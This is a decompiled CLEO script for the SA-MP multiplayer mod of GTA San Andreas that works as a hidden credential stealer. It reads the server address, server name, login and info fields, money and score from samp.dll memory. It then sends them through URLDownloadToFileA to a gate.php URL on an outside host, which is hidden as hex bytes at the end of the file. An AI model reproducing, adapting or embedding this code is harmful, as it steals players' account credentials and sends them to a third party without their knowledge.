// This file was decompiled using SASCM.ini published by GTAG (http://gtag.gtagaming.com/opcode-database) on 14.6.2013
{$CLEO .cs}

//-------------MAIN---------------
0000: NOP  

:NONAME_2
0001: wait 0 ms  
0AA2: 31@ = load_library "kernel32.dll" // IF and SET  
0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET  
0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@   
0A8E: 3@ = 0@ + 2173568 // int  
0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1  
00D6: if  
0019:   2@ > 1000  
004D: jump_if_false @NONAME_2  
0A8E: 22@ = 2@ + 985 // int  
0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1  
00D6: if  
0019:   2@ > 1000  
004D: jump_if_false @NONAME_2  
0A8E: 5@ = 23@ + 20 // int  
0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1  
00D6: if  
0019:   4@ > 1000  
004D: jump_if_false @NONAME_2  
0A8E: 5@ = 4@ + 34 // int  
0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1  
00D6: if  
0019:   24@ > 1000  
004D: jump_if_false @NONAME_2  
0A8E: 22@ = 0@ + 2173504 // int  
0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1  
00D6: if  
0019:   1@ > 1000  
004D: jump_if_false @NONAME_2  
0A8E: 7@ = 1@ + 40 // int  
0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1  
0A8E: 5@ = 1@ + 44 // int  
0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1  
00D6: if  
0039:   6@ == 1  
004D: jump_if_false @NONAME_380  
00D6: if or
0039:   26@ == 1  
0039:   26@ == 3  
004D: jump_if_false @NONAME_380  
0006: 25@ = 1  

:NONAME_380
00D6: if and
0039:   25@ == 1  
8039:   not  6@ == 1  
004D: jump_if_false @NONAME_857  
0A8E: 7@ = 1@ + 48 // int  
0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1  
0A8E: 6@ = 1@ + 36 // int  
0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1  
0A8E: 6@ = 0@ + 617008 // int  
0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@   
0A8E: 6@ = 4@ + 26 // int  
0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1  
0A8E: 7@ = 4@ + 10 // int  
00D6: if  
8029:   not  23@ >= 16  
004D: jump_if_false @NONAME_543  
0085: 12@ = 7@ // (int)  
0002: jump @NONAME_555  

:NONAME_543
0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1  

:NONAME_555
0A8E: 9@ = 2@ + 710 // int  
0A8E: 14@ = 2@ + 452 // int  
0A8E: 8@ = 2@ + 969 // int  
0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1  
0A8E: 18@ = 4@ + 42 // int  
0A8D: 27@ = read_memory 18@ size 4 virtual_protect 1  
010B: 21@ = player $PLAYER_CHAR money  
0AC6: 0@ = label @NONAME_864 offset  
0AC8: 20@ = allocate_memory_size 1024  
0006: 13@ = 1542  
0AD3: 20@ = format "%ssrvr=%s:%d&servname=%s&log=%s&did=%d&inf=%s&stuid=%d&money=%d&score=%d" 0@ 14@ 15@ 9@ 12@ 3@ 5@ 13@ 21@ 27@   
0AA2: 8@ = load_library "urlmon.dll" // IF and SET  
0AA4: 9@ = get_proc_address "URLDownloadToFileA" library 8@ // IF and SET  
0AA5: call 9@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 20@ 0   
0006: 25@ = 0  

:NONAME_857
0002: jump @NONAME_2  

:NONAME_864
hex
  68 74 74 70 3A 2F 2F 6B 61 74 2E 63 6D 68 6F 73
  74 2E 72 75 2F 67 61 74 65 2E 70 68 70 3F 00
end